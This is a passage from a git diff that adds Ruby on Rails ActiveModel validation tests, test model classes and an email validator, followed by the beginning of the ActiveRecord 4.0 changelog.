+ assert !topic.valid?
+ assert_equal ['Y U NO CONFIRM'], topic.errors[:title_confirmation]
+ end
+end
diff --git a/activemodel/test/cases/validations/validations_context_test.rb b/activemodel/test/cases/validations/validations_context_test.rb
new file mode 100644
index 0000000..b795861
--- /dev/null
+++ b/activemodel/test/cases/validations/validations_context_test.rb
@@ -0,0 +1,39 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+
+class ValidationsContextTest < ActiveModel::TestCase
+
+ def teardown
+ Topic.reset_callbacks(:validate)
+ Topic._validators.clear
+ end
+
+ ERROR_MESSAGE = "Validation error from validator"
+
+ class ValidatorThatAddsErrors < ActiveModel::Validator
+ def validate(record)
+ record.errors[:base] << ERROR_MESSAGE
+ end
+ end
+
+ test "with a class that adds errors on create and validating a new model with no arguments" do
+ Topic.validates_with(ValidatorThatAddsErrors, :on => :create)
+ topic = Topic.new
+ assert topic.valid?, "Validation doesn't run on valid? if 'on' is set to create"
+ end
+
+ test "with a class that adds errors on update and validating a new model" do
+ Topic.validates_with(ValidatorThatAddsErrors, :on => :update)
+ topic = Topic.new
+ assert topic.valid?(:create), "Validation doesn't run on create if 'on' is set to update"
+ end
+
+ test "with a class that adds errors on create and validating a new model" do
+ Topic.validates_with(ValidatorThatAddsErrors, :on => :create)
+ topic = Topic.new
+ assert topic.invalid?(:create), "Validation does run on create if 'on' is set to create"
+ assert topic.errors[:base].include?(ERROR_MESSAGE)
+ end
+end
\ No newline at end of file
diff --git a/activemodel/test/cases/validations/with_validation_test.rb b/activemodel/test/cases/validations/with_validation_test.rb
new file mode 100644
index 0000000..daa7a8d
--- /dev/null
+++ b/activemodel/test/cases/validations/with_validation_test.rb
@@ -0,0 +1,195 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+
+class ValidatesWithTest < ActiveModel::TestCase
+
+ def teardown
+ Topic.reset_callbacks(:validate)
+ Topic._validators.clear
+ end
+
+ ERROR_MESSAGE = "Validation error from validator"
+ OTHER_ERROR_MESSAGE = "Validation error from other validator"
+
+ class ValidatorThatAddsErrors < ActiveModel::Validator
+ def validate(record)
+ record.errors[:base] << ERROR_MESSAGE
+ end
+ end
+
+ class OtherValidatorThatAddsErrors < ActiveModel::Validator
+ def validate(record)
+ record.errors[:base] << OTHER_ERROR_MESSAGE
+ end
+ end
+
+ class ValidatorThatDoesNotAddErrors < ActiveModel::Validator
+ def validate(record)
+ end
+ end
+
+ class ValidatorThatValidatesOptions < ActiveModel::Validator
+ def validate(record)
+ if options[:field] == :first_name
+ record.errors[:base] << ERROR_MESSAGE
+ end
+ end
+ end
+
+ class ValidatorPerEachAttribute < ActiveModel::EachValidator
+ def validate_each(record, attribute, value)
+ record.errors[attribute] << "Value is #{value}"
+ end
+ end
+
+ class ValidatorCheckValidity < ActiveModel::EachValidator
+ def check_validity!
+ raise "boom!"
+ end
+ end
+
+ test "validation with class that adds errors" do
+ Topic.validates_with(ValidatorThatAddsErrors)
+ topic = Topic.new
+ assert topic.invalid?, "A class that adds errors causes the record to be invalid"
+ assert topic.errors[:base].include?(ERROR_MESSAGE)
+ end
+
+ test "with a class that returns valid" do
+ Topic.validates_with(ValidatorThatDoesNotAddErrors)
+ topic = Topic.new
+ assert topic.valid?, "A class that does not add errors does not cause the record to be invalid"
+ end
+
+ test "with multiple classes" do
+ Topic.validates_with(ValidatorThatAddsErrors, OtherValidatorThatAddsErrors)
+ topic = Topic.new
+ assert topic.invalid?
+ assert topic.errors[:base].include?(ERROR_MESSAGE)
+ assert topic.errors[:base].include?(OTHER_ERROR_MESSAGE)
+ end
+
+ test "with if statements that return false" do
+ Topic.validates_with(ValidatorThatAddsErrors, :if => "1 == 2")
+ topic = Topic.new
+ assert topic.valid?
+ end
+
+ test "with if statements that return true" do
+ Topic.validates_with(ValidatorThatAddsErrors, :if => "1 == 1")
+ topic = Topic.new
+ assert topic.invalid?
+ assert topic.errors[:base].include?(ERROR_MESSAGE)
+ end
+
+ test "with unless statements that return true" do
+ Topic.validates_with(ValidatorThatAddsErrors, :unless => "1 == 1")
+ topic = Topic.new
+ assert topic.valid?
+ end
+
+ test "with unless statements that returns false" do
+ Topic.validates_with(ValidatorThatAddsErrors, :unless => "1 == 2")
+ topic = Topic.new
+ assert topic.invalid?
+ assert topic.errors[:base].include?(ERROR_MESSAGE)
+ end
+
+ test "passes all configuration options to the validator class" do
+ topic = Topic.new
+ validator = mock()
+ validator.expects(:new).with(:foo => :bar, :if => "1 == 1").returns(validator)
+ validator.expects(:validate).with(topic)
+
+ Topic.validates_with(validator, :if => "1 == 1", :foo => :bar)
+ assert topic.valid?
+ end
+
+ test "calls setup method of validator passing in self when validator has setup method" do
+ topic = Topic.new
+ validator = stub_everything
+ validator.stubs(:new).returns(validator)
+ validator.stubs(:validate)
+ validator.stubs(:respond_to?).with(:setup).returns(true)
+ validator.expects(:setup).with(Topic).once
+ Topic.validates_with(validator)
+ assert topic.valid?
+ end
+
+ test "doesn't call setup method of validator when validator has no setup method" do
+ topic = Topic.new
+ validator = stub_everything
+ validator.stubs(:new).returns(validator)
+ validator.stubs(:validate)
+ validator.stubs(:respond_to?).with(:setup).returns(false)
+ validator.expects(:setup).with(Topic).never
+ Topic.validates_with(validator)
+ assert topic.valid?
+ end
+
+ test "validates_with with options" do
+ Topic.validates_with(ValidatorThatValidatesOptions, :field => :first_name)
+ topic = Topic.new
+ assert topic.invalid?
+ assert topic.errors[:base].include?(ERROR_MESSAGE)
+ end
+
+ test "validates_with each validator" do
+ Topic.validates_with(ValidatorPerEachAttribute, :attributes => [:title, :content])
+ topic = Topic.new :title => "Title", :content => "Content"
+ assert topic.invalid?
+ assert_equal ["Value is Title"], topic.errors[:title]
+ assert_equal ["Value is Content"], topic.errors[:content]
+ end
+
+ test "each validator checks validity" do
+ assert_raise RuntimeError do
+ Topic.validates_with(ValidatorCheckValidity, :attributes => [:title])
+ end
+ end
+
+ test "each validator expects attributes to be given" do
+ assert_raise ArgumentError do
+ Topic.validates_with(ValidatorPerEachAttribute)
+ end
+ end
+
+ test "each validator skip nil values if :allow_nil is set to true" do
+ Topic.validates_with(ValidatorPerEachAttribute, :attributes => [:title, :content], :allow_nil => true)
+ topic = Topic.new :content => ""
+ assert topic.invalid?
+ assert topic.errors[:title].empty?
+ assert_equal ["Value is "], topic.errors[:content]
+ end
+
+ test "each validator skip blank values if :allow_blank is set to true" do
+ Topic.validates_with(ValidatorPerEachAttribute, :attributes => [:title, :content], :allow_blank => true)
+ topic = Topic.new :content => ""
+ assert topic.valid?
+ assert topic.errors[:title].empty?
+ assert topic.errors[:content].empty?
+ end
+
+ test "validates_with can validate with an instance method" do
+ Topic.validates :title, :with => :my_validation
+
+ topic = Topic.new :title => "foo"
+ assert topic.valid?
+ assert topic.errors[:title].empty?
+
+ topic = Topic.new
+ assert !topic.valid?
+ assert_equal ['is missing'], topic.errors[:title]
+ end
+
+ test "optionally pass in the attribute being validated when validating with an instance method" do
+ Topic.validates :title, :content, :with => :my_validation_with_arg
+
+ topic = Topic.new :title => "foo"
+ assert !topic.valid?
+ assert topic.errors[:title].empty?
+ assert_equal ['is missing'], topic.errors[:content]
+ end
+end
diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb
new file mode 100644
index 0000000..2934e70
--- /dev/null
+++ b/activemodel/test/cases/validations_test.rb
@@ -0,0 +1,376 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+require 'models/reply'
+require 'models/custom_reader'
+require 'models/automobile'
+
+require 'active_support/json'
+require 'active_support/xml_mini'
+
+class ValidationsTest < ActiveModel::TestCase
+
+ class CustomStrictValidationException < StandardError; end
+
+ def setup
+ Topic._validators.clear
+ end
+
+ # Most of the tests mess with the validations of Topic, so lets repair it all the time.
+ # Other classes we mess with will be dealt with in the specific tests
+ def teardown
+ Topic.reset_callbacks(:validate)
+ end
+
+ def test_single_field_validation
+ r = Reply.new
+ r.title = "There's no content!"
+ assert r.invalid?, "A reply without content shouldn't be savable"
+ assert r.after_validation_performed, "after_validation callback should be called"
+
+ r.content = "Messa content!"
+ assert r.valid?, "A reply with content should be savable"
+ assert r.after_validation_performed, "after_validation callback should be called"
+ end
+
+ def test_single_attr_validation_and_error_msg
+ r = Reply.new
+ r.title = "There's no content!"
+ assert r.invalid?
+ assert r.errors[:content].any?, "A reply without content should mark that attribute as invalid"
+ assert_equal ["is Empty"], r.errors["content"], "A reply without content should contain an error"
+ assert_equal 1, r.errors.count
+ end
+
+ def test_double_attr_validation_and_error_msg
+ r = Reply.new
+ assert r.invalid?
+
+ assert r.errors[:title].any?, "A reply without title should mark that attribute as invalid"
+ assert_equal ["is Empty"], r.errors["title"], "A reply without title should contain an error"
+
+ assert r.errors[:content].any?, "A reply without content should mark that attribute as invalid"
+ assert_equal ["is Empty"], r.errors["content"], "A reply without content should contain an error"
+
+ assert_equal 2, r.errors.count
+ end
+
+ def test_single_error_per_attr_iteration
+ r = Reply.new
+ r.valid?
+
+ errors = r.errors.collect {|attr, messages| [attr.to_s, messages]}
+
+ assert errors.include?(["title", "is Empty"])
+ assert errors.include?(["content", "is Empty"])
+ end
+
+ def test_multiple_errors_per_attr_iteration_with_full_error_composition
+ r = Reply.new
+ r.title = ""
+ r.content = ""
+ r.valid?
+
+ errors = r.errors.to_a
+
+ assert_equal "Content is Empty", errors[0]
+ assert_equal "Title is Empty", errors[1]
+ assert_equal 2, r.errors.count
+ end
+
+ def test_errors_on_nested_attributes_expands_name
+ t = Topic.new
+ t.errors["replies.name"] << "can't be blank"
+ assert_equal ["Replies name can't be blank"], t.errors.full_messages
+ end
+
+ def test_errors_on_base
+ r = Reply.new
+ r.content = "Mismatch"
+ r.valid?
+ r.errors.add(:base, "Reply is not dignifying")
+
+ errors = r.errors.to_a.inject([]) { |result, error| result + [error] }
+
+ assert_equal ["Reply is not dignifying"], r.errors[:base]
+
+ assert errors.include?("Title is Empty")
+ assert errors.include?("Reply is not dignifying")
+ assert_equal 2, r.errors.count
+ end
+
+ def test_errors_on_base_with_symbol_message
+ r = Reply.new
+ r.content = "Mismatch"
+ r.valid?
+ r.errors.add(:base, :invalid)
+
+ errors = r.errors.to_a.inject([]) { |result, error| result + [error] }
+
+ assert_equal ["is invalid"], r.errors[:base]
+
+ assert errors.include?("Title is Empty")
+ assert errors.include?("is invalid")
+
+ assert_equal 2, r.errors.count
+ end
+
+ def test_errors_empty_after_errors_on_check
+ t = Topic.new
+ assert t.errors[:id].empty?
+ assert t.errors.empty?
+ end
+
+ def test_validates_each
+ hits = 0
+ Topic.validates_each(:title, :content, [:title, :content]) do |record, attr|
+ record.errors.add attr, 'gotcha'
+ hits += 1
+ end
+ t = Topic.new("title" => "valid", "content" => "whatever")
+ assert t.invalid?
+ assert_equal 4, hits
+ assert_equal %w(gotcha gotcha), t.errors[:title]
+ assert_equal %w(gotcha gotcha), t.errors[:content]
+ end
+
+ def test_validates_each_custom_reader
+ hits = 0
+ CustomReader.validates_each(:title, :content, [:title, :content]) do |record, attr|
+ record.errors.add attr, 'gotcha'
+ hits += 1
+ end
+ t = CustomReader.new("title" => "valid", "content" => "whatever")
+ assert t.invalid?
+ assert_equal 4, hits
+ assert_equal %w(gotcha gotcha), t.errors[:title]
+ assert_equal %w(gotcha gotcha), t.errors[:content]
+ end
+
+ def test_validate_block
+ Topic.validate { errors.add("title", "will never be valid") }
+ t = Topic.new("title" => "Title", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["will never be valid"], t.errors["title"]
+ end
+
+ def test_validate_block_with_params
+ Topic.validate { |topic| topic.errors.add("title", "will never be valid") }
+ t = Topic.new("title" => "Title", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["will never be valid"], t.errors["title"]
+ end
+
+ def test_invalid_validator
+ Topic.validate :i_dont_exist
+ assert_raise(NameError) do
+ t = Topic.new
+ t.valid?
+ end
+ end
+
+ def test_errors_conversions
+ Topic.validates_presence_of %w(title content)
+ t = Topic.new
+ assert t.invalid?
+
+ xml = t.errors.to_xml
+ assert_match %r{<errors>}, xml
+ assert_match %r{<error>Title can't be blank</error>}, xml
+ assert_match %r{<error>Content can't be blank</error>}, xml
+
+ hash = {}
+ hash[:title] = ["can't be blank"]
+ hash[:content] = ["can't be blank"]
+ assert_equal t.errors.to_json, hash.to_json
+ end
+
+ def test_validation_order
+ Topic.validates_presence_of :title
+ Topic.validates_length_of :title, :minimum => 2
+
+ t = Topic.new("title" => "")
+ assert t.invalid?
+ assert_equal "can't be blank", t.errors["title"].first
+ Topic.validates_presence_of :title, :author_name
+ Topic.validate {errors.add('author_email_address', 'will never be valid')}
+ Topic.validates_length_of :title, :content, :minimum => 2
+
+ t = Topic.new :title => ''
+ assert t.invalid?
+
+ assert_equal :title, key = t.errors.keys[0]
+ assert_equal "can't be blank", t.errors[key][0]
+ assert_equal 'is too short (minimum is 2 characters)', t.errors[key][1]
+ assert_equal :author_name, key = t.errors.keys[1]
+ assert_equal "can't be blank", t.errors[key][0]
+ assert_equal :author_email_address, key = t.errors.keys[2]
+ assert_equal 'will never be valid', t.errors[key][0]
+ assert_equal :content, key = t.errors.keys[3]
+ assert_equal 'is too short (minimum is 2 characters)', t.errors[key][0]
+ end
+
+ def test_validation_with_if_and_on
+ Topic.validates_presence_of :title, :if => Proc.new{|x| x.author_name = "bad"; true }, :on => :update
+
+ t = Topic.new(:title => "")
+
+ # If block should not fire
+ assert t.valid?
+ assert t.author_name.nil?
+
+ # If block should fire
+ assert t.invalid?(:update)
+ assert t.author_name == "bad"
+ end
+
+ def test_invalid_should_be_the_opposite_of_valid
+ Topic.validates_presence_of :title
+
+ t = Topic.new
+ assert t.invalid?
+ assert t.errors[:title].any?
+
+ t.title = 'Things are going to change'
+ assert !t.invalid?
+ end
+
+ def test_validation_with_message_as_proc
+ Topic.validates_presence_of(:title, :message => proc { "no blanks here".upcase })
+
+ t = Topic.new
+ assert t.invalid?
+ assert_equal ["NO BLANKS HERE"], t.errors[:title]
+ end
+
+ def test_list_of_validators_for_model
+ Topic.validates_presence_of :title
+ Topic.validates_length_of :title, :minimum => 2
+
+ assert_equal 2, Topic.validators.count
+ assert_equal [:presence, :length], Topic.validators.map(&:kind)
+ end
+
+ def test_list_of_validators_on_an_attribute
+ Topic.validates_presence_of :title, :content
+ Topic.validates_length_of :title, :minimum => 2
+
+ assert_equal 2, Topic.validators_on(:title).count
+ assert_equal [:presence, :length], Topic.validators_on(:title).map(&:kind)
+ assert_equal 1, Topic.validators_on(:content).count
+ assert_equal [:presence], Topic.validators_on(:content).map(&:kind)
+ end
+
+ def test_accessing_instance_of_validator_on_an_attribute
+ Topic.validates_length_of :title, :minimum => 10
+ assert_equal 10, Topic.validators_on(:title).first.options[:minimum]
+ end
+
+ def test_list_of_validators_on_multiple_attributes
+ Topic.validates :title, :length => { :minimum => 10 }
+ Topic.validates :author_name, :presence => true, :format => /a/
+
+ validators = Topic.validators_on(:title, :author_name)
+
+ assert_equal [
+ ActiveModel::Validations::FormatValidator,
+ ActiveModel::Validations::LengthValidator,
+ ActiveModel::Validations::PresenceValidator
+ ], validators.map { |v| v.class }.sort_by { |c| c.to_s }
+ end
+
+ def test_list_of_validators_will_be_empty_when_empty
+ Topic.validates :title, :length => { :minimum => 10 }
+ assert_equal [], Topic.validators_on(:author_name)
+ end
+
+ def test_validations_on_the_instance_level
+ auto = Automobile.new
+
+ assert auto.invalid?
+ assert_equal 2, auto.errors.size
+
+ auto.make = 'Toyota'
+ auto.model = 'Corolla'
+
+ assert auto.valid?
+ end
+
+ def test_strict_validation_in_validates
+ Topic.validates :title, :strict => true, :presence => true
+ assert_raises ActiveModel::StrictValidationFailed do
+ Topic.new.valid?
+ end
+ end
+
+ def test_strict_validation_not_fails
+ Topic.validates :title, :strict => true, :presence => true
+ assert Topic.new(:title => "hello").valid?
+ end
+
+ def test_strict_validation_particular_validator
+ Topic.validates :title, :presence => { :strict => true }
+ assert_raises ActiveModel::StrictValidationFailed do
+ Topic.new.valid?
+ end
+ end
+
+ def test_strict_validation_in_custom_validator_helper
+ Topic.validates_presence_of :title, :strict => true
+ assert_raises ActiveModel::StrictValidationFailed do
+ Topic.new.valid?
+ end
+ end
+
+ def test_strict_validation_custom_exception
+ Topic.validates_presence_of :title, :strict => CustomStrictValidationException
+ assert_raises CustomStrictValidationException do
+ Topic.new.valid?
+ end
+ end
+
+ def test_validates_with_bang
+ Topic.validates! :title, :presence => true
+ assert_raises ActiveModel::StrictValidationFailed do
+ Topic.new.valid?
+ end
+ end
+
+ def test_validates_with_false_hash_value
+ Topic.validates :title, :presence => false
+ assert Topic.new.valid?
+ end
+
+ def test_strict_validation_error_message
+ Topic.validates :title, :strict => true, :presence => true
+
+ exception = assert_raises(ActiveModel::StrictValidationFailed) do
+ Topic.new.valid?
+ end
+ assert_equal "Title can't be blank", exception.message
+ end
+
+ def test_does_not_modify_options_argument
+ options = { :presence => true }
+ Topic.validates :title, options
+ assert_equal({ :presence => true }, options)
+ end
+
+ def test_dup_validity_is_independent
+ Topic.validates_presence_of :title
+ topic = Topic.new("title" => "Literature")
+ topic.valid?
+
+ duped = topic.dup
+ duped.title = nil
+ assert duped.invalid?
+
+ topic.title = nil
+ duped.title = 'Mathematics'
+ assert topic.invalid?
+ assert duped.valid?
+ end
+end
diff --git a/activemodel/test/config.rb b/activemodel/test/config.rb
new file mode 100644
index 0000000..0b577a9
--- /dev/null
+++ b/activemodel/test/config.rb
@@ -0,0 +1,3 @@
+TEST_ROOT = File.expand_path(File.dirname(__FILE__))
+FIXTURES_ROOT = TEST_ROOT + "/fixtures"
+SCHEMA_FILE = TEST_ROOT + "/schema.rb"
diff --git a/activemodel/test/models/account.rb b/activemodel/test/models/account.rb
new file mode 100644
index 0000000..eed668d
--- /dev/null
+++ b/activemodel/test/models/account.rb
@@ -0,0 +1,5 @@
+class Account
+ include ActiveModel::ForbiddenAttributesProtection
+
+ public :sanitize_for_mass_assignment
+end
diff --git a/activemodel/test/models/administrator.rb b/activemodel/test/models/administrator.rb
new file mode 100644
index 0000000..2f3aff2
--- /dev/null
+++ b/activemodel/test/models/administrator.rb
@@ -0,0 +1,11 @@
+class Administrator
+ extend ActiveModel::Callbacks
+ include ActiveModel::Validations
+ include ActiveModel::SecurePassword
+
+ define_model_callbacks :create
+
+ attr_accessor :name, :password_digest
+
+ has_secure_password
+end
diff --git a/activemodel/test/models/automobile.rb b/activemodel/test/models/automobile.rb
new file mode 100644
index 0000000..021ea61
--- /dev/null
+++ b/activemodel/test/models/automobile.rb
@@ -0,0 +1,12 @@
+class Automobile
+ include ActiveModel::Validations
+
+ validate :validations
+
+ attr_accessor :make, :model
+
+ def validations
+ validates_presence_of :make
+ validates_length_of :model, :within => 2..10
+ end
+end
\ No newline at end of file
diff --git a/activemodel/test/models/blog_post.rb b/activemodel/test/models/blog_post.rb
new file mode 100644
index 0000000..46eba85
--- /dev/null
+++ b/activemodel/test/models/blog_post.rb
@@ -0,0 +1,9 @@
+module Blog
+ def self.use_relative_model_naming?
+ true
+ end
+
+ class Post
+ extend ActiveModel::Naming
+ end
+end
diff --git a/activemodel/test/models/contact.rb b/activemodel/test/models/contact.rb
new file mode 100644
index 0000000..7bfc542
--- /dev/null
+++ b/activemodel/test/models/contact.rb
@@ -0,0 +1,26 @@
+class Contact
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ attr_accessor :id, :name, :age, :created_at, :awesome, :preferences
+
+ def social
+ %w(twitter github)
+ end
+
+ def network
+ {:git => :github}
+ end
+
+ def initialize(options = {})
+ options.each { |name, value| send("#{name}=", value) }
+ end
+
+ def pseudonyms
+ nil
+ end
+
+ def persisted?
+ id
+ end
+end
diff --git a/activemodel/test/models/custom_reader.rb b/activemodel/test/models/custom_reader.rb
new file mode 100644
index 0000000..2fbcf79
--- /dev/null
+++ b/activemodel/test/models/custom_reader.rb
@@ -0,0 +1,15 @@
+class CustomReader
+ include ActiveModel::Validations
+
+ def initialize(data = {})
+ @data = data
+ end
+
+ def []=(key, value)
+ @data[key] = value
+ end
+
+ def read_attribute_for_validation(key)
+ @data[key]
+ end
+end
\ No newline at end of file
diff --git a/activemodel/test/models/helicopter.rb b/activemodel/test/models/helicopter.rb
new file mode 100644
index 0000000..933f3c4
--- /dev/null
+++ b/activemodel/test/models/helicopter.rb
@@ -0,0 +1,7 @@
+class Helicopter
+ include ActiveModel::Conversion
+end
+
+class Helicopter::Comanche
+ include ActiveModel::Conversion
+end
diff --git a/activemodel/test/models/oauthed_user.rb b/activemodel/test/models/oauthed_user.rb
new file mode 100644
index 0000000..9750bc1
--- /dev/null
+++ b/activemodel/test/models/oauthed_user.rb
@@ -0,0 +1,11 @@
+class OauthedUser
+ extend ActiveModel::Callbacks
+ include ActiveModel::Validations
+ include ActiveModel::SecurePassword
+
+ define_model_callbacks :create
+
+ has_secure_password(validations: false)
+
+ attr_accessor :password_digest, :password_salt
+end
diff --git a/activemodel/test/models/person.rb b/activemodel/test/models/person.rb
new file mode 100644
index 0000000..e896e90
--- /dev/null
+++ b/activemodel/test/models/person.rb
@@ -0,0 +1,17 @@
+class Person
+ include ActiveModel::Validations
+ extend ActiveModel::Translation
+
+ attr_accessor :title, :karma, :salary, :gender
+
+ def condition_is_true
+ true
+ end
+end
+
+class Person::Gender
+ extend ActiveModel::Translation
+end
+
+class Child < Person
+end
diff --git a/activemodel/test/models/person_with_validator.rb b/activemodel/test/models/person_with_validator.rb
new file mode 100644
index 0000000..505ed88
--- /dev/null
+++ b/activemodel/test/models/person_with_validator.rb
@@ -0,0 +1,24 @@
+class PersonWithValidator
+ include ActiveModel::Validations
+
+ class PresenceValidator < ActiveModel::EachValidator
+ def validate_each(record, attribute, value)
+ record.errors[attribute] << "Local validator#{options[:custom]}" if value.blank?
+ end
+ end
+
+ class LikeValidator < ActiveModel::EachValidator
+ def initialize(options)
+ @with = options[:with]
+ super
+ end
+
+ def validate_each(record, attribute, value)
+ unless value[@with]
+ record.errors.add attribute, "does not appear to be like #{@with}"
+ end
+ end
+ end
+
+ attr_accessor :title, :karma
+end
diff --git a/activemodel/test/models/project.rb b/activemodel/test/models/project.rb
new file mode 100644
index 0000000..581b6dc
--- /dev/null
+++ b/activemodel/test/models/project.rb
@@ -0,0 +1,3 @@
+class Project
+ include ActiveModel::DeprecatedMassAssignmentSecurity
+end
diff --git a/activemodel/test/models/reply.rb b/activemodel/test/models/reply.rb
new file mode 100644
index 0000000..ec1efea
--- /dev/null
+++ b/activemodel/test/models/reply.rb
@@ -0,0 +1,32 @@
+require 'models/topic'
+
+class Reply < Topic
+ validate :errors_on_empty_content
+ validate :title_is_wrong_create, :on => :create
+
+ validate :check_empty_title
+ validate :check_content_mismatch, :on => :create
+ validate :check_wrong_update, :on => :update
+
+ def check_empty_title
+ errors[:title] << "is Empty" unless title && title.size > 0
+ end
+
+ def errors_on_empty_content
+ errors[:content] << "is Empty" unless content && content.size > 0
+ end
+
+ def check_content_mismatch
+ if title && content && content == "Mismatch"
+ errors[:title] << "is Content Mismatch"
+ end
+ end
+
+ def title_is_wrong_create
+ errors[:title] << "is Wrong Create" if title && title == "Wrong Create"
+ end
+
+ def check_wrong_update
+ errors[:title] << "is Wrong Update" if title && title == "Wrong Update"
+ end
+end
diff --git a/activemodel/test/models/sheep.rb b/activemodel/test/models/sheep.rb
new file mode 100644
index 0000000..7aba055
--- /dev/null
+++ b/activemodel/test/models/sheep.rb
@@ -0,0 +1,3 @@
+class Sheep
+ extend ActiveModel::Naming
+end
diff --git a/activemodel/test/models/topic.rb b/activemodel/test/models/topic.rb
new file mode 100644
index 0000000..c9af78f
--- /dev/null
+++ b/activemodel/test/models/topic.rb
@@ -0,0 +1,40 @@
+class Topic
+ include ActiveModel::Validations
+ include ActiveModel::Validations::Callbacks
+
+ def self._validates_default_keys
+ super | [ :message ]
+ end
+
+ attr_accessor :title, :author_name, :content, :approved
+ attr_accessor :after_validation_performed
+
+ after_validation :perform_after_validation
+
+ def initialize(attributes = {})
+ attributes.each do |key, value|
+ send "#{key}=", value
+ end
+ end
+
+ def condition_is_true
+ true
+ end
+
+ def condition_is_true_but_its_not
+ false
+ end
+
+ def perform_after_validation
+ self.after_validation_performed = true
+ end
+
+ def my_validation
+ errors.add :title, "is missing" unless title
+ end
+
+ def my_validation_with_arg(attr)
+ errors.add attr, "is missing" unless send(attr)
+ end
+
+end
diff --git a/activemodel/test/models/track_back.rb b/activemodel/test/models/track_back.rb
new file mode 100644
index 0000000..768c96e
--- /dev/null
+++ b/activemodel/test/models/track_back.rb
@@ -0,0 +1,11 @@
+class Post
+ class TrackBack
+ def to_model
+ NamedTrackBack.new
+ end
+ end
+
+ class NamedTrackBack
+ extend ActiveModel::Naming
+ end
+end
\ No newline at end of file
diff --git a/activemodel/test/models/user.rb b/activemodel/test/models/user.rb
new file mode 100644
index 0000000..4b11df1
--- /dev/null
+++ b/activemodel/test/models/user.rb
@@ -0,0 +1,11 @@
+class User
+ extend ActiveModel::Callbacks
+ include ActiveModel::Validations
+ include ActiveModel::SecurePassword
+
+ define_model_callbacks :create
+
+ has_secure_password
+
+ attr_accessor :password_digest, :password_salt
+end
diff --git a/activemodel/test/models/visitor.rb b/activemodel/test/models/visitor.rb
new file mode 100644
index 0000000..4d7f4be
--- /dev/null
+++ b/activemodel/test/models/visitor.rb
@@ -0,0 +1,11 @@
+class Visitor
+ extend ActiveModel::Callbacks
+ include ActiveModel::Validations
+ include ActiveModel::SecurePassword
+
+ define_model_callbacks :create
+
+ has_secure_password(validations: false)
+
+ attr_accessor :password_digest, :password_confirmation
+end
diff --git a/activemodel/test/validators/email_validator.rb b/activemodel/test/validators/email_validator.rb
new file mode 100644
index 0000000..cff47ac
--- /dev/null
+++ b/activemodel/test/validators/email_validator.rb
@@ -0,0 +1,6 @@
+class EmailValidator < ActiveModel::EachValidator
+ def validate_each(record, attribute, value)
+ record.errors[attribute] << (options[:message] || "is not an email") unless
+ value =~ /^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/i
+ end
+end
\ No newline at end of file
diff --git a/activemodel/test/validators/namespace/email_validator.rb b/activemodel/test/validators/namespace/email_validator.rb
new file mode 100644
index 0000000..57e2793
--- /dev/null
+++ b/activemodel/test/validators/namespace/email_validator.rb
@@ -0,0 +1,6 @@
+require 'validators/email_validator'
+
+module Namespace
+ class EmailValidator < ::EmailValidator
+ end
+end
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
new file mode 100644
index 0000000..5ba7a6f
--- /dev/null
+++ b/activerecord/CHANGELOG.md
@@ -0,0 +1,2044 @@
+## Rails 4.0.0 (unreleased) ##
+
+* Allow to use databases.rake tasks without having `Rails.application`.
+
+ *Piotr Sarnacki*
+
+* Fix a `SystemStackError` problem when using time zone aware or serialized attributes.
+ In current implementation, we reuse `column_types` argument when initiating an instance.
+ If an instance has serialized or time zone aware attributes, `column_types` is
+ wrapped multiple times in `decorate_columns` method. Thus the above error occurs.
+
+ *Dan Erikson & kennyj*
+
+* Fix for a regression bug in which counter cache columns were not being updated
+ when record was pushed into a has_many association. For example:
+
+ Post.first.comments << Comment.create
+
+ Fixes #3891.
+
+ *Matthew Robertson*
+
+* If a model was instantiated from the database using `select`, `respond_to?`
+ returns false for non-selected attributes. For example:
+
+ post = Post.select(:title).first
+ post.respond_to?(:body) # => false
+
+ post = Post.select('title as post_title').first
+ post.respond_to?(:title) # => false
+
+ Fixes #4208.
+
+ *Neeraj Singh*
+
+* Run `rake migrate:down` & `rake migrate:up` in transaction if database supports.
+
+ *Alexander Bondarev*
+
+* `0x` prefix must be added when assigning hexadecimal string into `bit` column in PostgreSQL.
+
+ *kennyj*
+
+* Added Statement Cache to allow the caching of a single statement. The cache works by
+ duping the relation returned from yielding a statement, which allows skipping the AST
+ building phase for following executes. The cache returns results in array format.
+
+ Example:
+
+ cache = ActiveRecord::StatementCache.new do
+ Book.where(name: "my book").limit(100)
+ end
+
+ books = cache.execute
+
+ The solution attempts to get closer to the speed of `find_by_sql` but still maintaining
+ the expressiveness of the Active Record queries.
+
+ *Olli Rissanen*
+
+* Preserve context while merging relations with join information.
+
+ class Comment < ActiveRecord::Base
+ belongs_to :post
+ end
+
+ class Author < ActiveRecord::Base
+ has_many :posts
+ end
+
+ class Post < ActiveRecord::Base
+ belongs_to :author
+ has_many :comments
+ end
+
+ `Comment.joins(:post).merge(Post.joins(:author).merge(Author.where(:name => "Joe Blogs"))).all`
+ would fail with
+ `ActiveRecord::ConfigurationError: Association named 'author' was not found on Comment`.
+
+ It is failing because `all` is being called on relation which looks like this after all
+ the merging: `{:joins=>[:post, :author], :where=>[#<Arel::Nodes::Equality: ....}`. In this
+ relation all the context that `Post` was joined with `Author` is lost and hence the error
+ that `author` was not found on `Comment`.
+
+ The solution is to build `JoinAssociation` when two relations with join information are being
+ merged. And later while building the Arel use the previously built `JoinAssociation` record
+ in `JoinDependency#graft` to build the right from clause.
+ Fixes #3002.
+
+ *Jared Armstrong and Neeraj Singh*
+
+* `default_scopes?` is deprecated. Check for `default_scopes.empty?` instead.
+
+ *Agis Anastasopoulos*
+
+* Default values for PostgreSQL bigint types now get parsed and dumped to the
+ schema correctly.
+
+ *Erik Peterson*
+
+* Fix associations with `:inverse_of` option when building association
+ with a block. Inside the block the parent object was different then
+ after the block.
+
+ Example:
+
+ parent.association.build do |child|
+ child.parent.equal?(parent) # false
+ end
+
+ # vs
+
+ child = parent.association.build
+ child.parent.equal?(parent) # true
+
+ *Michal Cichra*
+
+* `has_many` using `:through` now obeys the order clause mentioned in
+ through association.
+ Fixes #10016.
+
